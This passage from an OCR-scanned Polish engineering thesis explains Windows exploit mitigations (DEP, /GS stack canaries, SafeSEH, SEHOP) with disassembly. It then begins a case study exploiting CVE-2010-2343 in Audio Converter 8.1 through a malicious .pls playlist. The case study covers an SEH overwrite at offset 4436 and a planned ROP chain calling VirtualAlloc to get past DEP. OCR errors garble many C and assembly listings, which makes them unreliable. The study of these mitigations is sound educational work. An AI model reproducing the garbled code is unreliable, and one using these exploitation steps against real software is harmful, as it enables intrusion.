architektury x86 (warto$¢ 0xC3). Nastepnie nastepuje przeniesienie wykonania programu w
miejsce bufora buf poprzez instrukcje call. Program zostal skompilowany, aby by¢

kompatybilnym z DEP (posiada flage IMAGE _DLLCHARACTERISTICS NX_COMPAT w
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polu DIICharacteristics opcjonalnego nagtowka pliku PE). Podczas proby wykonania kodu
znajdujacego si¢ W buforze buf zostaje wygenerowany wyjatek
EXCEPTION_ACCESS_VIOLATION, co uniemozliwia dalsze dziatanie programu.
Program jest chroniony przed wykonywaniem kodu w obszarach pamigci do tego

nieprzeznaczonych.

#include <windows.h>
#include <stdio.h>
int main()
{
char* buf = (char*)LocalAlloc(LMEM_ZEROINIT,0x1000);
buf[@] = oxC3;
void (*func)(void) = (void(*)(void))buf;
func();

return 0;

Przyktad 5. Przekierowanie wykonania na strone danych

push 1@aeh 3 UBytes

push 4gh ; "@" ; UFlags

call ds:__imp_ LocalAlloc@s ; LocalAlloc(x,x)
maw byte ptr [eax], @C3h ; A’

call eax

xor eax, eax

retn

Rysunek 25. Kod maszynowy programu z Przyktadu 5.

5.3 Przelacznik /GS w kompilatorze Visual Studio (Stack Canary)

Mechanizm zapobiegajacy atakom przepetnienia bufora na stosie wykorzystujacy
specjalng warto§¢ Stack Canary zostal wspomniany wcze$niej w rozdziale 4.3. W celu
wilaczenia tej metody ochrony w kompilatorze Microsoft Visual C++ nalezy przekaza¢ do
argumentow kompilacji flage /GiS. W odrdznieniu od poprzednio opisywanych metod ochrony
jest ona wdrozona w procesie kompilacji, a nie w systemie operacyjnym. Kompilator w trakcie
generowania kodu funkcji dodaje do niej instrumentacje. Na stos zostaje odtozona
pseudolosowa wartos¢ Stack Canary (wcze$niej wygenerowana w prologu kompilatora,
Rysunek 26. oraz Rysunek 27.) tuz przed wskaznikiem ramki stosu i adresu powrotu funkcji
nadrzednej. Tuz przed instrukcjg powrotu danej funkcji nastgpuje sprawdzenie czy wartos¢ ta
nie zmienita si¢ podczas wykonywania funkcji. Przelacznik /GS powoduje réwniez
reorganizacj¢ zmiennych na stosie. Kompilator w tym trybie przesuwa bufory ciagéw znakdéw

pod wyzsze adresy w pamigci, tak aby przy przepetnieniu bufora nie nadpisa¢ argumentow
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funkcji badz zmiennych lokalnych. Stack Canary chroni aplikacje przed btedami przepetienia
bufora na stosie. Stabym punktem tego zabezpieczenia jest wykrywanie niepoprawnych danych
na stosie dopiero przy wychodzeniu z funkcji. Jezeli aplikacja nie jest kompatybilna z innymi
metodami ochrony badz zawiera inne stabe punkty jest mozliwe obejScie tego zabezpieczenia,
tak jak zostato przedstawione w rozdziale 4.3 (brak SafeSEH badz SEHOP). Inng nazwa tego

zabezpieczenia jest ,,ciasteczko bezpieczenstwa”.

Zmienne lokalne

Stack Canary

Wskaznik ramki stosu

Adres powrotu funkcji

Argumenty

Rysunek 26. Umiejscowienie ciasteczka bezpieczeristwa na ramce stosu funkeji
Na Rysunku 27. przedstawiono kod maszynowy w architekturze x86-64 funkcji prologu
kompilatora Microsoft Visual Studio 2022 __security_init _cookie. Funkcja odpowiada za
wygenerowanie wartosci pseudolosowej o dostatecznej entropii (aby warto$ci nie mozna byto
w fatwy sposob odgadna¢). Warto$¢ ta nastgpnie jest zapisywana do zmiennej globalnej
__Security_cookie. Funkcja sprawdza réwniez czy ciasteczko bezpieczenstwa nie zostalo juz
wygenerowane poprzez porownanie go z warto$ciag domyslng 0x2B992DDFA232 znang juz

podczas kompilacji.
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FIEE]

; Attributes: library function bp-based frame
; void _cdecl _security_init_cookie()
__security init_cockie proc near

arg_@= quord ptr 1gh
SystemTimeAsFileTime= _FILETIME ptr 18h
PerformanceCount= LARGE_INTEGER ptr 28h
arg_l3= gword ptr 23h

mov [rsp-8+arg_18], rbx
push rbp
mov rbp, rsp
sub rsp, 28h
mov rax, cs:_ security cookie
mov rbx, 2B992DDFA232h
cmp rax, rbx
jnz short loc_148@815FB
FIFE
and gqword ptr [rbp+SystemTimeAsFileTime.dwLowDateTime], @
lea rex, [rbp+SystenTimea Time] ; 1pSystemTimeAsFileTims
call  cs:_imp_GetSystemTim leTime
mov rax, qword ptr [rbp+SystemTimeAsFileTime.dwLowDateTime]
mov [rbptarg_g], rax
call cs:__imp_GetCurrentThreadId
mov eax, eax
xor [rbptarg_2], rax
call cs:__imp_GetCurrentProcessId
mov eax, eax
lea rcx, [rbp+PerformanceCount] ; lpPerformanceCount
xor [rbptarg 8], rax
call  cs:_ imp_QueryPerformanceCounter
mov eax, dword ptr [rbp+PerformanceCount]
lea rcx, [rbptarg 8]
shl rax, 2eh
xor rax, quord ptr [rbp+PerformanceCount]
xor rax, [rbp+arg 8]
xor rax, rex
— rcx, BFFFFFFFFFFFFh
and rax, rcx
mov rcx, 2B992DDFA233h
cmp rax, rbx
cmovz  rax, rox
mov cs:__security_cookie, rax
il e =
loc_148@815FB:
mov rbx, [rsp+2eh+arg_18]
not rax
mov cs:_security_cookie_complement, rax
add rsp, 26h
pop rbp
retn
__security_init_cookie endp

Rysunek 27. Inicjalizacja Stack Canary w prologu kompilatora

Warto$¢ stack canary jest wyliczana na podstawie wynikéw czterech wywotan

(pobranie czasu systemowego, pobranie identyfikatora aktualnie

przetwarzajacego watku, pobranie identyfikatora procesu, pobranie wartosci licznika wysokiej

rozdzielczos$ci):

GetSystemTimeAsFileTime
GetCurrentThreadld
GetCurrentProcessld

QueryPerformanceCounter

Ostateczng wartos¢ ciasteczka mozna zapisa¢ za pomocg pseudokodu, gdzie " jest operacja

alternatywy roztaczne;j:

__security_cookie
__security_cookie
__security_cookie
__security_cookie

= SystemTime;
"= ThreadlId;
"= ProcessId;
"= PerformanceCounter;
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Na potrzeby zobrazowania tematu zostal stworzony przyktadowy program, ktoérego
tres¢ nie jest w tym przypadku istotna. Program zostat skompilowany w architekturze x86-64
przez Microsoft Visual Studio 2022, a nastgpnie jego kod zostat zdekompilowany, co
przedstawia Rysunek 28. Instrumentacja zostala dodana w linijkach 2,3,4 oraz 12,13,14.
Warto$¢ __ security cookie = wygenerowana  wczesniej w  funkcji  prologu
__security_init_cookie zostaje poddana operacji alternatywy roztacznej z adresem aktualnej
ramki stosu (co jeszcze poprawia losowos¢ ciasteczka) oraz dodana na stos. Gdyby podczas
wykonywania funkcji uktad stosu zostalby naruszony (w tym ciasteczka bezpieczenstwa)
zostanie to wykryte przez funkcje _ security check cookie. Dla pordwnania ten sam program
zostat skompilowany bez przelacznika /GS, a jego kod maszynowy zostat przedstawiony na

Rysunku 29.

; int _ cdecl main(int argc, const char **argv, const char **envp)
main proc near

var_28= xmmword ptr -28h
var_18= dword ptr -18h
stack coockie= gword ptr -18h

;5 _unwind { // _ GSHandlerCheck

sub rsp, 43h

mov rax, cs:__ security_coockie

xor rax, rsp

mov [rsp+48h+stack_cookie], rax

movdga xmm@, cs:_ xmm@383838383838303838383830383830830
lea rdx, [rsp+43h+var_ 23]

lea rcx, _Format s "¥28s\n"

movd [rsp+48h+var_18], xmm@
movups [rsp+48h+var_28], xmme@
call printf

xor eax, eax
mov rcx, [rsp+4sh+stack_cookie]
xor rcx, rsp 3 StackCocokie
call _ security check_cookie

add rsp, 43h

retn

Rysunek 28. Przyktad zdekompilowanego programu zawierajgcego instrumentacje sprawdzajgcq ciasteczko bezpieczenstwa
; int _ cdecl main{int argc, const char **argv, const char **envp)
main proc near

var_28= xmmword ptr -28h
var_18= dword ptr -18h

sub rsp, 48h

movdga xmm@, cs:_ xmm@32383838303038383@308303R3030383e
lea rdx, [rsp+a8htvar_28]

lea rcx, _Format ; "E28s\n"

mowvd [rsp+48h+var_ 18], xmm@
movups [rsp+d8h+var_28], xmm@
call printf

xor gax, eax
add rsp, 48h
retn

Rysunek 29. Program bez instrumentacji sprawdzajqcej ciasteczko bezpieczenstwa
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Zabezpieczenie powoduje pewien narzut obliczeniowy, dlatego aby nie zmniejsza¢ wydajnosci
aplikacji instrumentacja jest dodawana w funkcjach, ktore:
e Operuja na tablicy, ktora jest wieksza niz cztery bajty, ma wigcej niz dwa elementy 1
zaden element nie jest wskaznikiem.
e Zawierajg strukture, ktorej wielko$¢ jest wieksza niz osiem bajtow i1 ktdra nie zawiera
wskaznikow.

e Rezerwuja pami¢¢ na stosie z wykorzystaniem funkcji alloca badz _malloca.

5.4SafeSEH oraz SEHOP

W tym podrozdziale zostang opisane dwie metody ochrony, ktoére chronig przed
nadpisywaniem ramek SEH. Jedng z nich jest SafeSEH, mechanizm, ktory jest wdrazany
podczas konsolidowania pliku wykonywalnego dla architektury x86-32 przez Microsoft Visual
Studio poczawszy od wersji 2003. Podczas kompilacji programu wszystkie procedury obstugi
wyjatkéw maja przydzielony swoj unikalny adres (niezaleznie czy SafeSEH jest wiaczony czy
nie). Bazujac na tym wszystkie te znane adresy procedur obstugi przy wlaczonym SafeSEH sa
zapisywane jako tablica w pliku wykonywalnym (adres do niej przechowywany jest w
opcjonalnym nagtowku pliku w katalogu IMAGE _LOAD_CONFIG_DIRECTORY). Podczas
wystapienia wyjatku w programie system operacyjny sprawdza, czy adres procedury obstugi
biezagcego rekordu SEH znajduje si¢ we wczesniej wspomnianej tablicy. W przypadku
niezgodno$ci program awaryjnie konczy dziatanie, uniemozliwiajac wykonanie niepozadanego
kodu. Aby uaktywni¢ metode nalezy przekaza¢ do konsolidatora argument /SAFESEH:YES.
SEH jako sposob obstugi wyjatkow w systemie Windows zostat wprowadzony w rozdziale 4.3.

W celu analizy zostanie przytoczony Przyktad 3. z rozdziatu 4.3. Tym razem program
zostanie skompilowany z przetacznikiem /SSAFESEH:YES. Podczas uruchomienia tak samo
jak w poprzednim tescie ramka stosu SEH zostata nadpisana (Rysunek 20.). Nastgpnie program
trafia na nieznany kod operacji OxFF, co zmusza program do wygenerowania wyjatku. Pierwsza
funkcjg systemowa w obszarze uzytkownika wywotywanym podczas wygenerowania wyjatku
jest  KiUserExceptionDispatcher z biblioteki ntdll.dll. Ta =z kolei wywoluje
RtlDispatchException z tej samej biblioteki (Rysunek 30.). Jak mozna zauwazy¢ pierwsza
wywolywang funkcja jest RtlCallVectoredExceptionHandlers. Funkcja odpowiada za
obstuzenie wektorowych procedur obstugi wyjatkow VEH (Vectored Exception Handlers).
Jest to rownolegly mechanizm obstlugi wyjatkow, ktory jest rejestrowany dla procesu, a nie dla

konkretnego watku (SEH). Analizujac kod mozna stwierdzi¢, ze jezeli zarejestrowane s3
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procedury obstugi wyjatkow VEH oraz SEH, to procedura obstugi VEH zostanie wywotana
pierwsza. W celu sprawdzenia poprawnosci ramki SEH wywotywana jest funkcja
RtlGetStackLimits, ktora zwraca gorng oraz dolng granice stosu dla biezacego watku (pobiera
te warto$ci z Thread Information Block (TEB)). Te warto$ci pomoga okresli¢, czy procedury

obstugi wyjatkéw znajduja si¢ w obrgbie adresow stosu.

mov edi, edi

push ebp

mav ebp, esp

sub esp, 64h

push esi

push [ebp+Context]

mav esi, [ebp+ExceptionRecord]
push esi

mov [ebp+var_1], @

call _RtlCallVectoredExceptionHandlers@8 ; RtlCallVectoredExc
test  al, al

jnz loc_77F5@538

h i
FEE
push  ebx
push edi
lea eax, [ebp+5tackHigh]
push eax
lea eax, [ebp+Stacklow]
push eax
call _RtlpGetStackLimits@s ; R
call _RtlpGetRegistrationHead@e :
and [ebp+ProcessInformation], @
push ] ; ReturnLength
push 4 ; ProcessInformationLength
mov ebx, eax
lea eax, [ebp+ProcessInformation]
push eax ; ProcessInformation
push 22h ; ' ; ProcessInformationClass
or edi, GFFFFFFEFR
push  edi ; ProcessHandle
mov byte ptr [ebp+ExceptionRecord+3], 1
call _ZwQueryInformationProcess@2@ ; ZwQueryInformationProcess(ix,x,x,x,x
test eax, eax
1 loc_77EDESER

Rysunek 30. Fragment kodu funkcji RtlDispatchException

W dalszej czesci funkceji (Rysunek 31.) pobierany jest adres pierwszej ramki SEH. Nastepuje
weryfikacja, czy adres ramki znajduje si¢ pomigedzy najwyzszym oraz najnizszym adresem
stosu oraz czy adres ramki jest podzielny przez cztery. Pod adresem 0x77EDF969 wywolywana
jest funkcja RellsValidHandler, w ktorej nastepuje sprawdzenie poprawnosci adresu procedury
obstugi danej ramki. Dozwolone adresy obstugi wyjatkéw dla danego obrazu pobierane sg
przez funkcje RtlCapturelmageExceptionValues oraz porownywane ze sprawdzanym adresem
procedury obstlugi SEH. Gdy adres ten jest niepoprawny wywotywana jest funkcja
RtllnvalidHandlerDetected, ktoéra awaryjnie konczy wykonywanie programu. W
analizowanym przyktadzie z rozdziatu 4.3 wykonanie zostaje przeniesione wtasnie do tej

funkcji, a aplikacja konczy swoje dzialanie z btedem.
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Ltext:77EDFOLC
.text:77EDFO1C loc_77EDF9IC:
.text:77EDFIIC call

_RtlpGetRegistrationHead® ; RtlpGetRegistrationHead()

egi

.text:77EDF921 mov ebx, eax

.text:77EDF923 xor edi, edi
L ]

] i =

Ltext:77EDFI25

Ltext:77EDF925 cmp
Ltext:77EDF928 jz

.text:77EDF925 loc_77EDF925:

loc_77ECG@27

Y

FEE]
.text:77EDF92E cmp
.text:77EDF932 jnz

byte ptr [ebp+ExceptionRecord+3], @
short loc_77EDF963

ebx, [ebp+stacklow]

check_failed

il e (5=
-text:77EDF934 cmp
.text:77EDF937 jb

¥

.text:77EDF93D lea
-text:77EDF94@ cmp
.text:77EDF943 ja

eax, [ebx+(size _EXCEPTION_REGISTRATION RECORD)]

eax, [ebp+StackHigh]

check failed

bl, 3

check failed

L]
FEE]
.text:77EDF249 test
.text:77EDF94C jnz

Y

-text:77EDF952 mov
.text:77EDF955 cmp
.text:77EDFI58 jb

eax, [ebx+_EXCEPTION_REGISTRATION RECORD.Handler]

eax, [ebp+stacklow]
short loc_77EDF963

il e (5=
-text:77EDFO5SA cmp
.text:77EDFI5D jb

eax, [ebp+stackHigh]

check_failed

ctext:77EDF963

.text:77EDF963 loc_77EDF963: ; ProcessInformation

.text:77EDFI63 push [ebp+ProcessInformation]

.text:77EDFI66 push [ebx+_ EXCEPTION_REGISTRATION RECORD.Handler] ; Address
.text:77EDFI69 call _RtlIsValidHandler@d ; RtlIsValidHandler(w,x)
.text:77EDF96E test al, al

.text:77EDFI7@ jz check_failed

Rysunek 31. Fragment kodu funkcji RtlDispatchException sprawdzajgcy poprawnos¢ ramki SEH

Mechanizm obrony SafeSEH jest dostepny tylko dla kompatybilnych obrazéw
skompilowanych przez Microsoft Visual Studio. Bardziej uniwersalnym rozwigzaniem jest
Structured Exception Handling Overwrite Protection (SEHOP). Jest ono
zaimplementowane w Microsoft Windows poczawszy od wersji 6.0. Ta metoda ochrony
zapewnia, ze funkcja FinalExceptionHandler z ntdll.dll jest ostatnig procedurg obstugi w
tancuchu ramek SEH. Implikuje to zachodzenie warunku poprawnosci catej listy
jednokierunkowej ramek stosu. Przed wywotaniem procedury obstugi lista ramek jest
,»przechodzona” od pierwszego do ostatniego elementu. Gdy nie jest mozliwe przejscie po liscie

badZ ostatnia ramka nie wskazuje na poprawng funkcje aplikacja konczy swoje dzialanie z
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btedem [XXIII]. Aby aktywowaé mechanizm klucz DisableExceptionChainValidation pod
Sciezka HKEY LOCAL_ MACHINE\SYSTEM\CurrentControlSet\Control\Session
Manager\kernel w rejestrze powinien mie¢ wartos¢ 0.

Weryfikacja statusu mechanizmu SEHOP jest widoczna na Rysunku 30. Wywolywana jest
funkcja ZwQueryInformationProcess, ktora zwraca struktur¢ KEEXECUTE_OPTIONS

zawierajacg pole DisableExceptionChainValidation.
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6. Studium przypadku

Aby podsumowac¢ analiz¢ popularnych btedow aplikacji oraz metod ochrony przed
nimi, w tym rozdziale zostanie zaprezentowany proces wykorzystania bigdu w celu
przekierowania wykonania w aplikacji Audio Converter 8.1 autorstwa D.R. Software. Zostanie
przedstawiony projekt, w ktorym mozna wyrdzni¢ trzy etapy: rekonesans, exploitacja oraz
analiza rozwigzan uodparniajacych aplikacje przed btedem. W pierwszym etapie uwaga
zostanie skupiona na szukaniu podatno$ci w aplikacji, jak rowniez na przeanalizowaniu
obecnych metod ochrony w poszczegdlnych modutach. W fazie exploitacji zostana
przygotowane specjalne dane wejsciowe, ktore pozwolg na wprowadzenie wlasnego kodu do
aplikacji oraz uruchomienie go. W ostatnim etapie przedstawiona zostanie propozycja majaca
na celu uodpornienie programu na znaleziony btad. Blad ma przydzielony identyfikator CVE-
2010-2343 w stowniku powszechnie znanych podatnosci CVE [XXIV].

Pierwszym krokiem, w celu zidentyfikowania ewentualnych bledow, bedzie
sprawdzenie zabezpieczen wszystkich modutow tadowanych w przestrzen adresowa aplikacji.
Do tego celu zostato uzyte narzedzie ,,mona” [XXV]. Wynik zostat przycigty z powodu zbyt
duzej ilosci modutow systemowych do pokazania (nie sg one kluczowe w tym kroku).
Wszystkie moduty systemowe maja wlaczone wszystkie metody ochrony (tak jak
zaprezentowane kernel32.dll oraz ntdll.dll). Tabela 2. Przedstawia, ktére z metod ochrony

aplikacji dla poszczeg6lnych modutow aplikacji Audio Converter sg aktywne.

Nazwa Biblioteka DEP ASLR SafeSEH Stack Wielko$¢
systemowa Canary

audconv.exe Nie Tak Nie Tak Tak 0x88000

audconv.dll Nie Tak Nie Nie Tak 0x1¢c9000

kernel32.dll Tak Tak Tak Tak Tak 0xd4000

ntdll.dll Tak Tak Tak Tak Tak 0x13c000

Tabela 2. Przeglgd aktywnych metod ochrony dla modutow aplikacji Audio Converter

Jak mozna zauwazy¢ modul audconv.exe posiada kompatybilno§¢ z zabezpieczeniem
SafeSEH. Moduty audconv.exe oraz audconv.dll oraz zostaty skompilowane przez kompilator
MSVC zuzyciem przetacznika /GS (zawierajg Stack Canary) oraz /NXCOMPAT. Exploitacja
btedu w module audconv.exe bedzie znacznie utrudniona ze wzgledu na zawarte w nim
zabezpieczenia. Najlepszym pomystem byloby szukanie bledu przepelnienia bufora (rozdziat

4.1) badz bledu use-after-free (rozdziat 4.2) w module audconv.dll. Gdyby w tym module
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wystepowat btad typu buffer overflow, niemozliwe bedzie bezposrednie nadpisanie adresu
powrotu do funkcji nadrzgdnej, ze wzglgdu na fakt sprawdzania poprawnosci ramki stosu w
funkcjach tego modutu. Jednakze mozliwe by byto nadpisanie ramki SEH oraz przekierowania
wykonania (rozdziat 4.3). Aplikacja zostata zaprezentowana na Rysunku 32.

@ Audio Converter - O X
File Edit View OCutput Tools Help

| o5 & | e

Convert Add Files  Add Folder Audio CD Mormalize  Burn CD

Source File Convert to Qutput File Estimated 5Size  Audio Settings

Ready

Rysunek 32. Wyglad aplikacji Audio Converter

Dane wejsSciowe jakie moze wprowadzi¢ uzytkownik aplikacji ograniczajg si¢ do plikow audio
oraz plikow list odtwarzania o rozszerzeniach .m3u, .pls oraz .wax. W pierwszej kolejnosci
zostanie sprawdzone, czy parsowanie plikow list odtwarzania jest odporne na biedy.

W tym celu zostanie wygenerowany cigg alfanumeryczny o dtugosci 10 000 bajtow (przy
uzyciu narzedzia pattern.py [XXVI]) przedstawiony na Rysunku 33. oraz zapisany do pliku o
rozszerzeniu .pls. W przypadku przepelnienia bufora latwo mozna znalez¢ przesunigcie w
pliku, ktore odpowiada za nadpisanie konkretnej wartosci na stosie, poniewaz kazdy ciag
ztozony z czterech bajtow jest fatwo rozrdznialny i niepowtarzalny. Plik ten nast¢pnie zostanie

przekazany do analizowanego programu.

Shel

PS C: ‘Studwa\Placa Inzynierska\case_study> python pattern.py 10000

Aa0AalAa2Aa3AadAa5AabAa7Aa8Aa9Ab0Ab1AD 2Ab3Ab4Ab 5Ab6Ab 7Ab8ADIACOACLIAC2AC3AC4AC 5ACBACTACBACIAdOAdIAd2Ad3Ad4AdSABAd7ADSAdY
AeOAelAe2Ae3Ae4Ae5Ac6Ae7Ae8AcIATOATIAT2AT3AT4ATSAT6AT7ATSATIAGOAGLAG2Ag3Ag4AgSAg6Ag7AgBAGIANOANLIAN2AN3AN4AN5AN6AN7AN8ARY
A70AT1AT2AT3AT4AT5AT6A17AT18AT9AJ0AJ1Aj2AJ3A]4A5A]6A]7A78AJ9AK0AKIAK2AK3AK4AK5AK6AK7AK8AKIATOATIAT2AT3AT4AT5AT6AT7AT8AT9
AMOAMLAM2AM3AM4Am5AM6AM7Am8AMIANOANLAN 2AN 3AN4AN 5AN6AN7AN8ANIAC0A0LA02A03A04A05A06A07A08A09AP0APLIAP2AP 3AP4AD SAP6AP 7APSAPY
AQOAQLAQ2AQ3Aq4Aq5Aq6AQq7Aq8AqIArOAr1Ar 2Ar 3Ar4Ar SAr6Ar7Ar8Ar9As0AS1AS2AS3AS4AS5AS6AS7ASSASIATOATIAT2AT3AT4ATSAT6AT/ATSATY
AUQAULAUZ2AU3AU4AUSAUGAU7AUSAUIAVOAVIAYV2AVIAVAAV5AVEAY7ZAVBAVIAWOAWLIAWZ AWSAWAAWSAWEAW7 AWBAWIAXOAXLAX2AX SAX4AX5AX6AX 7AX8AXY
AYOAY1AYy2AY3AY4AYSAY6AY7AYBAY9AZ0AZ1AZ2AZ3AZ4AZ5AZ6AZ7AZ8AZz9Ba0BalBa2Ba3Ba4BasBa6Ba7Ba8Ba98b0Bh1Bb2Bb3Bb4Bh 5Bb6Bb7Bh8BbY
BcOBCc1Bc2Bc3Bc4Bc5BCc6BCc7BCc8BcIBRAOBA1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0BelBe2Be3Be4Be5Be6Be7Be8Be9BTOBT1B2Bf3B 4B 5B 6B 7BT8BT9
BgOBg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9B10Bi1Bi2Bi3Bi4Bi5B16Bi7Bi18Bi198j0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9
BkOBk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8BKkOBTOBT11B12B13B14B15B16817B18B19BmOBm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8BMOBNOBN1BN2BN3BN4BN5BN6BN7BN8BN9
BoOB0o1B0o2B03B04B0o5B06B07B08B09BpOBp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9BqOBqlBq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9BrOBriBr2Br3Br4Br5Br6Br7Br8Bro
BsOBs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9BtOBt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9BUOBUlBU2BU3BU4BU5BU6BU7BUSBU9BVOBVIB v3BVv4BVv5BV6BV7BVSBVI
BwOBW1BwW2Bw3Bw4BwW5BW6BW7BWSBWIBXOBX1BX2BX3BX4BXx5BXx6BX7BXx8BXx9BYOBy1BYy2By3By4BYy5By6BY7BY8BYy9Bz0Bz1Bz2BZz3B2z4Bz5B26Bz7B2z8BZ9
Ca0CalCa2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Ch0Ch1Ch2Cb3Cb4Ch5Ch6Ch7Ch8Ch9CCOCCICc2Cc3Cc4Cc5Cc6Cc7Cc8CcICdOCdlCd2Cd3Ccd4Cd5Cd6Cd7Cd8Cd9
Ce0CelCe2Ce3Ce4Ce5Ce6Ce7Ce8Ce9CTOCTICT2CT3CT4CT5CT6CT7CT8CT9Cg0Cy1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Chochich2ch3ch4ch5ch6Ch7Ch8ch9
Ci0C11Ci2Ci3Ci4Ci5Ci6CI7Ci8Ci9Cj0Cj1Cj2C)3Cj4Cj5C]j6C]j7Cj8CjockOoCkick2Cck3ck4ck5ck6Ck7Cck8Ck9C10C11C12C13C14C15CT16C17C18C19

Rysunek 33. Generowanie ciggu alfanumerycznego
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Program zostat uruchomiony pod nadzorem debuggera x64dbg, aby ewentualnie przechwycic¢
wyjatek spowodowany naruszeniem uktadu stosu. Wczesniej wygenerowany plik testowy
zostal wczytany do programu poprzez wybranie ,,File”, ,,Add Playlist” (Rysunek 34.).
Wykonanie dociera do funkcji pod adresem 0x1002AE40 w module audconv.dll. Dane z pliku
zostajg wezytane na jej ramke stosu. Zostaje nadpisana procedura obstugi ramki SEH. Wartos¢,
ktéra zostala w to miejsce wpisana znajduje si¢ na pozycji 4436 od poczatku wezytywanego
pliku. Nastepnie przed wyjsciem z funkcji sprawdzana jest poprawnos$¢ ciasteczka
bezpieczenstwa dla aktualnej ramki stosu. Sprawdzenie nast¢puje przez osobng funkcje pod
adresem 0x106D914, co zostalo zaprezentowane na Rysunku 35. Stack Canary nie jest
prawidtowe 1 wykonana zostaje funkcja _ report_gsfailure, ktéra konczy dziatanie aplikacji z
kodem btedu STATUS_STACK BUFFER_OVERRUN.

Aplikacja nie wygenerowala wyjatku podczas dziatania funkcji 0x1002AE40, wiec
nadpisana procedura obstugi nie wykonata si¢. Stos ma jednak skonczong wielkos¢, wigc
prawdopodobnie powickszenie danych wejsciowych moze skutkowa¢ wygenerowaniem
wyjatku przed sprawdzeniem ciasteczka bezpieczenstwa. Dane wejsciowe zostaty wydluzone
do wielko$ci 50 000 bajtow. Po przekazaniu dtuzszego pliku wej§ciowego przy probie zapisu
danych na stos (poprzez funkcje vfscanf) jego dolna granica zostata przekroczona i aplikacja
podjeta probe zapisu pod adresem pamiegci ktéry nie byt zaalokowany. Poskutkowato to
wygenerowaniem wyjatku o kodzie EXCEPTION_ACCESS _VIOLATION. Aplikacja
podjeta prob¢ wykonania nadpisanej procedury obstugi ramki SEH (pozycja 4436 we
wezytywanym pliku), co umozliwia przekierowanie wykonania, lecz dotychczas adres tam
zapisany jest czescig wygenerowanego ciggu alfanumerycznego i nie jest w zaden sposob

potaczony z przestrzenig adresowg procesu.

B edit View Output Tools Help %o e
Add Files... Ctrl+F ) 8 Dty ozl
Add Folder... Ctrl+G ,“',, S Lvraries f? Domnik
i Recent Places . & D
Add CD Audio Tracks... Ctrl+D = T L P . i -
Add Playlist... Ctrl+P e ) 9 _
% Audic Corverter snapshot_2021-12-28_22-04
Convert F7 Libearies inpet.pls pattern.pls
Normalize A
Delete Source Files Compyter
a
Settings » Network
New Window —
Fie rane ot - Open
EXit Fles of type Playiat Fles (M3, PLS, WAX) - Cancel

Rysunek 34. Zatadowanie specjalnie spreparowanego ciggu alfanumerycznego jako plik wejsciowy do Audio Converter
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Ltext:1886D98E

Jtext: 1886098t

Ltext:1886098E

.text:1886098E check_cookie proc near
.text:1886D98E cmp ecx, stack_cookie_global
Jtext:18es0914 jnz short loc_1@@sDI13

FEE |l e =
Ltext:18e6D916 rep retn| |.text:leesDals

Ltext:18860918 loc_1@@6D918:
.text:18860918 jmp __report_g
.text:18e60918 check_cookie endp
Ltext:1eesDols

Rysunek 35. Funkcja sprawdzajgca poprawnosé ciasteczka bezpieczerstwa

Ze wzgledu na kompatybilno§¢ moduléw z zabezpieczeniem DEP, niemozliwy jest
skok w miejsce z wezytanymi danymi na stosie. Zabezpieczenie to w pewnych warunkach
mozna obej$¢ za pomocg techniki Return Oriented Programming (ROP) [XXVII], co
zostanie ukazane w dalszej czgsci tego rozdzialu. ROP jest techniky, ktéra polega na
wykorzystaniu istniejacych specyficznych kawatkéw kodu maszynowego aplikacji tzw.
gadgetow do nieinwazyjnego (omijajacego np. mechanizm DEP) wykonania kodu. Gadgety
sktadaja si¢ z kodow operacji zawsze zakonczonych kodem operacji ret. Wycinki kodu sa
skladane w tancuch wzajemnych powigzan, ktore realizujg zadang logikg. Czgstym
przypadkiem jest wykorzystanie takiego tancucha do wywotania funkcji VirtualAlloc w celu
alokacji pamieci z uprawnieniami do wykonywania kodu. Aby wykorzysta¢ ta technike
atakujacy musi kontrolowaé rejestr EIP (badz RIP w architekturze x86-64). Przyktadowy
gadget 7 aplikacji w architekturze x86-64 zostal zaprezentowany w Listingu 1. Pierwsza

kolumna opisuje adres, druga kod operacji, a trzecia instrukcje kodu maszynowego.

0x000025ef 4883cu28 ADD RSP, 0x28
0x000025f3 5b POP RBX
0x000025f4 5e POP RSI
0x000025f5 5f POP RDI
0x000025f6 5d POP RBP
0x000025f7 c3 RET

Listing 1. Przyktadowy gadget uzwany w technice ROP

Szansa na udane uzycie techniki ROP ro$nie wraz z ilo$cig kodu, ktory zawarty jest w aplikacji,
bo ro$nie szansa na znalezienie pasujacych gadgetow. Biorac pod uwage wielkosci modutow
audconv.exe oraz audconv.dll zaprezentowane w Tabeli 2. istnieje duza szansa, ze uda si¢
znalez¢ wszystkie potrzebne wycinki kodu, aby obej$¢ dziatanie mechanizmu DEP.

Brak kompatybilnos$ci z ASLR implikuje fadowanie modutlu zawsze pod preferowany
adres bazowy zawarty w opcjonalnym nagtowku pliku wykonywalnego PE. Dla audconv.exe

jest to adres 0x400000 a dla audconv.dll 0x10000000. W dalszej czeSci pracy stworzony
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zostanie specjalnie spreparowany plik .pls z kodem wyswietlajacym napis ,,Politechnika
Krakowska Wydziat Inzynierii Elektrycznej i Komputerowej”, ktory po zaladowaniu do
programu Audio Converter wyswietli 6w napis.

Przesuniecie o 4436 bajtow wzgledem poczatku pliku wejsciowego kontroluje adres
procedury obstugi wyjatkow SEH. Pozwala to na przekierowanie wykonania w inne miejsce
pamigci. Ze wzgledu na mechanizm DEP nalezy najpierw zmieni¢ ochrong pamigci stosu tak
aby byta wykonywalna. W tym celu zostanie stworzony tancuch ROP, ktory wywota funkcje
VirtualAlloc na adresie stosu z argumentem PAGE_EXECUTE_READWRITE czynigcym
go wykonywalnym. Aby znalez¢ odpowiednie gadgety zostal stworzony skrypt w jezyku
Python (Listing 2.), ktéry za pomoca deasemblera Distorm [XXVIII] znajduje koncowe
kawalki kodu funkcji w aplikacji (konczace si¢ instrukcja ret) w celu pdzniejszego ich uzycia
do zbudowania tancucha ROP. Skrypt zostat przygotowany z mys$la o uruchomieniu go w

interpreterze Pythona w wersji 2.x.

